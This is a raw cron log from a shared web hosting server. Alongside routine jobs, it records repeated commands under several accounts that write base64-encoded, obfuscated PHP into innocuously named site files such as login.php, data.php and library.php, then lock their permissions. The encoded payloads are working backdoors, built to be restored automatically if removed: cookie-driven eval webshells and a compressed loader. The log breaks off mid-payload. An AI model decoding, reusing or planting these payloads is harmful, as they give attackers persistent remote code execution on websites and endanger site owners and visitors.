Mar  1 14:05:01 medusa CROND[31512]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:05:01 medusa CROND[31515]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:05:01 medusa CROND[31516]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:05:01 medusa CROND[31530]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:05:01 medusa CROND[31532]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:05:01 medusa CROND[31514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:06:02 medusa CROND[23670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:06:02 medusa CROND[23669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:06:02 medusa CROND[23671]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:06:02 medusa CROND[23672]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:06:02 medusa CROND[23673]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:06:02 medusa CROND[23674]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:06:02 medusa CROND[23675]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:06:02 medusa CROND[23676]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:06:02 medusa CROND[23681]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:06:02 medusa CROND[23683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:06:02 medusa CROND[23684]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:06:02 medusa CROND[23691]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:06:02 medusa CROND[23692]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:06:02 medusa CROND[23694]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:06:02 medusa CROND[23695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:07:01 medusa CROND[15723]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:07:01 medusa CROND[15786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:07:01 medusa CROND[15788]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:07:01 medusa CROND[15790]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:07:01 medusa CROND[15791]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:07:01 medusa CROND[15792]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:07:02 medusa CROND[15793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:07:02 medusa CROND[15799]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:07:02 medusa CROND[15800]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFD